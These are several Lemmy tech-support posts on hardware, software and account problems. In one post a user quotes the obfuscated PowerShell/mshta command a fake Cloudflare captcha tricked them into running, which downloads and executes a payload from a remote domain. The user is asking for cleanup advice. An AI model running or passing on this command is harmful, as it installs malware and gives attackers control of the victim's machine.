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submitted 1 week ago* (last edited 1 week ago) by wisejackal@feddit.org to c/techsupport@lemmy.world

Hi everyone,

I'm looking for a second hand phone (Budget around $400aud, ~ 1kMYR or ~$260usd)

My dream phone has:

  • Dual Sim (preferably at least one esim)
  • USB C with OTG (preferably at least usb3)
    • 2 usbC ports would be extra nice to have (allow me to dream)
  • 3.5mm headphone jack (preferably 24-bit/192kHz)
  • microSDXC slot (preferably dedicated)
    • if not dedicated then one where sticking the Sim chip to the SD card hack works
  • decent custom rom and with it android 15 support!!
  • at least 8GB RAM
  • not a potato for a camera
  • battery life to last bored geeks day
    • at least a work day of music and some comics and some brain rot on the socials and when I get home I got 20% left

Nice to have would be:

  • ok Selfie camera
  • fully charged in a hour
  • 5G
  • wifi 6
  • a decent GPS chip

Phones I'm currently kinda looking at:

  1. Sony Xperia 1 IV
    • insufficient custom Rom support, 2 guys are working on a linage port
  2. Sony Xperia 1 iii / current favourite
    • ok custom rom support, bit old, unsure about camera quality
  3. Poco x5 pro (5G)
  4. Samsung A72

I'm a big fan of OnePlus, had the 1 and 7 but hate the trend towards no headphone jack and no SDcard support and then not even a second USB port

I used LinageOS a while back and quite liked it ... On my last phone I used YAAP and loved it

Cheers for reading ... PLS drop your 2 cents below

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submitted 1 week ago* (last edited 1 week ago) by altkey@lemmy.dbzer0.com to c/techsupport@lemmy.world

One of our Win PCs got infected with that thing. It creates a VB script in appdata, and when it runs, every USB drive you put in it gets everything on it hidden - but a new shortcut with a name of a drive, that actually points at a script leading to a new infection. Updated Win just blocks it, but this one PC was on 1709, nuff said.

Itsohappens we had a thing to present via this PC, and quick, and at that time no one told me about the virus. We tried 4 different clickers one by one (2 A4 Tech, one generic, one Logi) and first three of them stopped working after that. They are all with fresh batteries, their BT adapters weren't recognized as USB drives I assume. What could go wrong?

I don't believe this VB script could by any chance move critical information on BT adapters like it did with USB drives, right? Even if there's a little flash drive with software, it should be set as RO by default. But I don't see any other explanation to that.

I don't have access to any of these three at the time, but I'm curious where should I begin to inspect this problem? How can I, probably, see the 'contents' of such an adapter, see coming inputs and outputs, maybe watch it initiating a searching routine, etc? I also have a couple of universal BT adapters that I bought for my gamepads, is there any use for them here, or are these toys strongly paired device-to-adapter?

Now, thinking about it, I am not sure if I tried them on my Arch (btw!) so, somehow, maybe it's only reproduceable under Win (with Logi clicker and Logitech bluetooth m+kb still working on that infected machine?)? Again, would like to hear, if there's something I can look for.

Bonus points for advices I can try on Linux, since Lemmy landed me there, and if I'd ever need to look deep into various devices again, better to learn it on a system that I'd use in the future, so I won't need to relearn it.

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Hello, the issue I'm facing is that Windows keeps lowering my microphone volume even though I'm speaking at a normal level. I'm not shouting or speaking loudly—sometimes I'm just whispering—and yet Windows still reduces my volume automatically. Because of this, I can’t use my microphone, which I paid hundreds of dollars for, at its full potential. I’ve tried every suggested solution from YouTube, Reddit, and other forums, but nothing has worked. I believe this is caused by a faulty piece of code, and it urgently needs to be fixed. This problem has existed for years—it was present in Windows 10 and unfortunately still persists in Windows 11. We shouldn't have to endure this frustrating issue any longer.

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Any possible fix for this? It feels like my video quality is incredibly shite and grainy, even in bright light conditions and after cleaning the camera

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submitted 2 weeks ago* (last edited 2 weeks ago) by FarraigePlaisteach@lemmy.world to c/techsupport@lemmy.world

I have an SSD bay (left), an ARM computer (Center) and a plug board (right). They’re wired together as well as to the router above. The problem is that it’s hard to clean the floor.

Is there a way to improve the setup so it’s less obtrusive? Every time we move the stuff to clean the floor the server goes down and needs a reboot. It’s such a pain.

Edit: thanks for the suggestions everyone. I'm going to swap the plug board for a double adapter. That way, they can be plugged in behind the locker leaving one less thing to deal with.

I'll either put the remaining stuff on the locker or else get a raised platform / stool for underneath.

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I enjoy playing modded games on PC. My IT competency is all informal and hands on so I apologize if this is a dumb question or it seems like I have no idea what I'm talking about. What I was looking to do without using a 3rd party software was to have a game playing in any type of windowed, borderless windowed, or full screen display window on monitor 1 while also having the ability to navigate an open browser window or even just navigate my desktop on display 2. This is all a very normal set up I know but the brick wall I hit happens because my ability with a keyboard is a huge gaming retardant for me. So what I wanted to try and set up was for the gamepad and gaming window, regardless of what display monitor it's being used on, to remain as an "up front" and active process while being able to use my keyboard and mouse as their normal operating devices to navigate my dektop or other active program windows simultaneously.

I have only looked into this briefly because it was very evident after searching the internet that there was not a way to natively set up my PC to allow me to game on one monitor using a gamepad while also having the ability to freely navigating other open windows on monitor 2 using mouse and keyboard with the gaming window remaining active.

I'm playing Witcher 3 currently but earlier this year on the same PC and Windows 11 setup, I swear I was able set up Fallout London by editing the setting.ini file to do exactly what I describred no problem. Admittedly I'm usually as baked as an apple pie when playing with games or modding, but I flipping swear by editing the fallout ini it allowed me to set the the window as always on top and active (meaning it didn't move to the background, or pause, or cut the gamepad off when the mouse was used on other dosplay). It was a series of of like 3 lines of true/false display parameters I entered that allowed me to choose how the program would respond when my input switched from the program window's gamepad to the PC window's mouse/keyboard input.

Fast forward to me trying to get the same setup for a modded Witcher 3 and the results of my searching was that it is universally accepted technical impossibility to use a gamepad exclusively in 1 open window program while also using a mouse to navigate a PC's desktop or other app's open windows simultaneously.

My questions are all to ubderstand why this would be so difficult to implement as a standard option you can set in your OS settings? I'm certainly not qualified to actually be questioning this but in my limited understanding of the devices and platforms in play, this really seems like a very do-able and sought after feature.

Pc's with touch screens are basically doing everything I would like to happen but using touch screen inputs and parameters instead of a gamepad's input. What am i missing in this workflow that is brickwalling this from being an actual feature?:

  1. Creating an OS native setting where the user can choose how the OS handles active and sleeping windows. For example, option A is to keep the default function of determining active windows based on actual cursor location. No clue how it's programed but basically keeping things as they currently are where the hover over an open window without clicking in it but still be able to scroll with mouse wheel. Then option B would allow you disable the function where inactive windows are relegated to only running background processes.

  2. The setting would then require a subsequent setting option to pop up for the user set when the step 1 selection was set to have multiple open windows running simultaneously as seperate active windows. This setting would be for the user to choose between utilizing one input device to control the PC globally as normal or to be able to assigned an installed device to only perform within the limits of an assigned program's window when it is open and active.

Basically I'm picturing this working similar to the way a touchscreen laptop allows you to choose between standard desktop mode and tablet mode. Having the actual keyboard and mouse with global permissions as they always had so they will over ride the controller in its assigned program window for troubleshooting, saftey net in case input device 2 (gamepad or w/e) fails mid use. And the 2ndary input device is only able to operate in the confines of the assigned program window.

It also seems like I have messed around with software or device settings in the past that are already doing this for shit like Android Auto, augmented note pads and their stylus, the already mentioned touch screen displays, and I'm guessing but I wanna say some of the more accommodating accessibility options available for different types of handicapable input devices. I mean shit, don't they have to make all computers capable of being used with only a keyboard or only a mouse option already?

I'm fully expecting the answer to be that Windows and Microsoft are too far in the mindset of fuck what users want to include a feature that will require any added operating/programming costs. But like I started, I know that I don't know enough to know if there are major obstacles engineering this to work.

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The chromecast I've got is about 10 years old and a few things don't cast on it no more. I'm guessing I need a new one, but is there another option?

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submitted 3 weeks ago* (last edited 3 weeks ago) by QuazarOmega@lemy.lol to c/techsupport@lemmy.world

I have a Pixel 8a, which is certified qi1, and 2 devices that can wirelessly charge it, a baseus battery pack and an ESR phone holder, they're both certified qi2 (which is backwards compatible with qi1), yet when I charge with them I can at most reach ~2.2W charging instead of the 7.5W advertised maximum for my Pixel 8a.
I don't understand why that is and if I can even theoretically reach the maximum supported charging power.
If so, how would I test my devices to figure out what their real thresholds are or if there are incompatibilities somewhere?

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I took this Chromebook touch display off of a broken Chromebook.

It’s a SHARP LQ123P1JX33/A01 .

I’ve determined that I would need an eDP 40-pin to mini-DisplayPort adapter for output to the LCD screen, but I’m having trouble finding information for what I would need (if I need anything) for this connection? I assume this is the part of the display that handles the touchscreen. Is it possible to adapt this for external use, or is it not worth the hassle?

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Hi,

I have a Western digital 'WD My Passport' external usb harddisk and it has become defective in some way.

When I connect it to windows I've managed to get access to it before, but it was really sluggush to navigate in and it would fail to open certain folders and files. Now I cannot get windows to recognize it al all. It powers on and windows says something like 'setting up deveice', but nothing more happens.

If I open windows 'disk management' the drive shows up as 'Disk 1', 'Unknown', 'Not initialized'.

I wes reccomended a tool called Recuva (https://www.ccleaner.com/recuva), but since windows doesn't recognize the disk I cannot tell the tool where to look for files to recover.

I've also tried a tool called TestDisk (https://www.cgsecurity.org/wiki/TestDisk_Download), but it doesn't see the drive.

Can anyone help please? :)

Thanks

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This is for chromium and librewolf(firefox) on arch linux; do other people's os s have this too? The unicode characters are shavian

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recommend, cheap cool gpu (sh.itjust.works)

i'm looking for a cheap graphics card that doesnt produce much heat. amd prefered. i currently have a saphire rx470 that cooks the whole room. this pc is used for web browsing and video streaming. no gaming. recommendations appreciated!!

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submitted 1 month ago* (last edited 1 month ago) by moosetwin@lemmy.dbzer0.com to c/techsupport@lemmy.world

Edit: Clearing the cache fixed it, thanks!

This has been occurring for a while now, and I've recently noticed that:

  • It only happens when logged in (not incognito mode)
  • It only happens on my desktop browser, not Jerboa (I haven't tested a mobile browser)

Especially looking to see if it happens on other instances/other browsers/other mobile clients

Information:

  • Desktop OS: Windows 10
  • Desktop browser: Firefox
  • Mobile client: Jerboa
  • Instance: lemmy.dbzer0.com

I initially just chalked this up to the instance being slow, but I recently noticed it not happening when logged out

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I'm about to be unemployed, and I'm looking to get some certificates for either Tableau or Power BI to make myself more marketable to prospective employers. I use Tableau in my current workplace and consider myself a "Beginner". I'm not great at it, but not horrible either (I can more make things look pretty than write extensive calculated fields).

I've never used Power BI, but based on a bit of research, it seems like it's more commonly used in companies that are not already focused on data analytics. I've watched a few videos on Power BI, but never used the app myself. It definitely looks more user-friendly than Tableau, though.

Can anyone offer any insight as to which app would be more marketable to have a certificate in when looking for entry-level jobs? Thanks you!

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Basically the issue is that when viewing video replay, you can make it go up to 16x faster.. but there are essentially no other options.

Meaning, there aren't even notifications or event recordings.

Meaning, if you want to find out who keyed your car, you will be potentially watching video footage all day, depending on if you're sure on exactly which day it happened or not.

Soo is there any somewhat feasible way to fix this and how would it work (of course getting new cameras are out of the question for the building)

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submitted 1 month ago by amldvk@lemm.ee to c/techsupport@lemmy.world

I accidentally executed

POwErsHeLL -w 1 & \W*\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\S*2\\\\\\\\\\\m*ht*e https://mnjk-jk.bsdfg-zmp-q-n.shop/1.mp4 # ✅ ''Ι am nοt a rοbοt: Clοudflare Verificatiοn ΙD: 715921''

via Windows Run a couple of days ago. Realized what I had done today after seeing a post on it.

What should I do? is full system wipe necessary? or can I remove it somehow?

If I need to do a system format what about attached drives and other devices on the network?

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submitted 1 month ago* (last edited 1 month ago) by Melatonin@lemmy.dbzer0.com to c/techsupport@lemmy.world

It seems to be related to some advertising push from a partner named Alfonso that is gathering information cross-platform anything that appears on your screen and pushing advertising to you during playback.

Hopefully not, but that's what it looks like from early reading.

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Hey all, I'm having an issue with my ~2009 MacBook Pro that refuses to turn on, and I could really use some help. Here are the details:

Symptoms:

The MacBook Pro doesn't turn on at all.

The charger stays green, even with the battery in.

When I connect the battery, all the battery indicator dots flash on, then turn off.

The MagSafe connector shows 12V on the pins, so the charger seems to be supplying power.

I’ve removed the battery, and the issue persists.

The battery appears to have a swelling issue.

Troubleshooting so far:

SMC & NVRAM Reset: Tried both, but still no luck. What should be noted though is that when I do an SMC reset for a few seconds the battery level indicator light will flash at one bar as if the battery is empty. This only happens when the batteries are moved.

Charger Works: I’ve tested the charger with another MacBook, so I know it’s functioning properly.

Battery Removed: Even with the battery taken out, it still won’t power on. Also note that the battery appears swollen. Do this, I will probably turn it in.

Board Inspection: I’ve inspected the board visually, but nothing seems wrong. I haven’t taken it apart more than that yet.

OS: The MacBook ran Linux with rEFInd as the boot manager.

Additional Info:

I’m not sure if the swollen battery could be related to the issue, but it seems worth noting.

I haven’t gone deep into the MacBook to check for possible other issues yet.

Anyone run into a similar problem or have any suggestions on what I should check next? I would really appreciate any help.

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I've downloaded an entire "All Mail" folder for a gmail account using IMAP to a locally running Thunderbird v136.0.1 desktop client. Global search works, but it fails to find some messages that are easily found in a folder-specific search. This All Mail folder has 165,881 messages, but the activity manager shows "Indexed 73955 messages..." after a full rebuild, I think meaning that indexing finished and it only indexed some of those 165,881 messages. Why doesn't it index all of them? I'm not getting any errors, although I haven't enabled any special logging and I don't have anything open except the main email window view and the activity manager. Is there some limit on how big global-messages-db.sqlite can be (mine is 468MiB), how many messages can be processed, or something like that?

Possibly related: https://bugzilla.mozilla.org/show_bug.cgi?id=1813306

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submitted 1 month ago* (last edited 1 month ago) by LazerDickMcCheese@sh.itjust.works to c/techsupport@lemmy.world

I see the GRUB menu, then it goes to an inactive black screen. If I select recovery then resume, it works fine. As this is supposed to be a remote machine, the problem defeats the purpose. I've heard this is usually a GPU drivers issue, so I followed the suggestions here: https://documentation.ubuntu.com/server/how-to/graphics/install-nvidia-drivers/index.html

and here (I'm running 22.04 and can't update, separate issue though): https://askubuntu.com/questions/760934/graphics-issues-after-while-installing-ubuntu-16-04-16-10-with-nvidia-graphics

Yet I still have the problem with a black screen. While I'd like it to "just work", I'm also open to extreme measures including...

-removing the GPU (assuming that would help) -having a script run that auto-selects recovery then resume then logs in on my behalf (I'd need help figuring that out though)

I also updated the grub file after adding "nomodeset", that didn't fix it either.

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submitted 1 month ago* (last edited 1 month ago) by pirateman@lemmy.world to c/techsupport@lemmy.world

Hello everyone. I've currently been experiencing crashes when playing certain games. After a while, I realized that the only games where this happened were Unreal Engine games (Fortnite on Windows, Helldivers 2, Marvel Rivals and PayDay 3 on both Windows and Linux). Originally I believed that the problems were game related (the problems began when new Fortnite and Helldivers seasons began) but now that I noticed that Payday 3 crashes too I realized that all of these games are made in Unreal. These are my specs:

GPU: AMD RX 6600 XT CPU: AMD Ryzen 5 7600 RAM: 2x16 GB XPG (not sure about speed)

Some more info:

  • Other games seem to work fine. I've mostly played God of War, GoW: Ragnarok, Doom Eternal and Street Fighter 6.
  • The issue doesn't seem to be related to workload. Fortnite and Payday 3 will handle loading stuff and having may enemies on screen only to crash on calm moments.
  • I ran Unigine Heaven 4.0 and it worked fine, I ran it in high and ultra settings and got around 200 fps. I let it run for a few minutes, nothing happened other than my PC sounding like a turbine.
  • I have not messed around with overclocking or undervolting the GPU or CPU. The PC is second-hand (only 1 year of not intensive use) and the guy was not tech-savvy, so I don't expect him to have messed around with anything like that either.

I would really appreciate any help, thanks in advance.

Edit to add some info about the crashes: most of the time the game just crashes, it closes itself and that's it. Every now and then (not most of the time) the game takes my entire computer with it. My whole computer freezes with the last second of sound being played on repeat and then it shuts down and reboots. I could cope with this if it was just crashes but I'm afraid that this is causing actual damage to my GPU and PC in general.

Final edit: after running integrity tests and using OCCT I was able to figure out that one of my RAM sticks was faulty. After removing it I was able to play Fortnite for a couple of hours without errors.

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submitted 2 months ago* (last edited 2 months ago) by meowmeowmeow@lemmy.ml to c/techsupport@lemmy.world

Hello everyone. First post in tech support.

I have been using Joplin and fed up with its accumulating errors. What alternatives that support similar features do you recommend? (ranking from most important)

  • Can insert image
  • Hyperlink by markdown language
  • Supports LaTeX
  • Supports Mermaid flowchart
  • Export to PDF
  • Can handle a lot of notes
  • Windows and Android
  • Migrate a chunk of markdown files all at once

Thanks a lot. Have a nice day :)

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cross-posted from: https://lemmy.radio/post/6473282

One of our fellow amateurs needs help to recover their Google account. They have the credentials, but no longer have access to their recovery phone number.

Does anyone have any suggestions on how to proceed? My Google-fu is only unearthing unhelpful forum posts without any firm process described by Google.

Anyone have any links or contacts?

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submitted 2 months ago* (last edited 2 months ago) by amon@lemmy.world to c/techsupport@lemmy.world

On my system monitor my laptop idles at 80+ degrees celsius

EDIT: strangely enough, it has a similar temperature on high load

EDIT2: Yes I think I will order thermal paste

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I got a Dell Latitude 7400 2 in 1 from my job they were going to ewaste. I daily drive KDE Neon on it and I love it. However, one of its two USB type C ports isn’t working for charging or data transfer. I inspected the port but found no obvious damage. How can I troubleshoot and fix this? I’ve searched YouTube and online sites but haven’t found helpful guidance.

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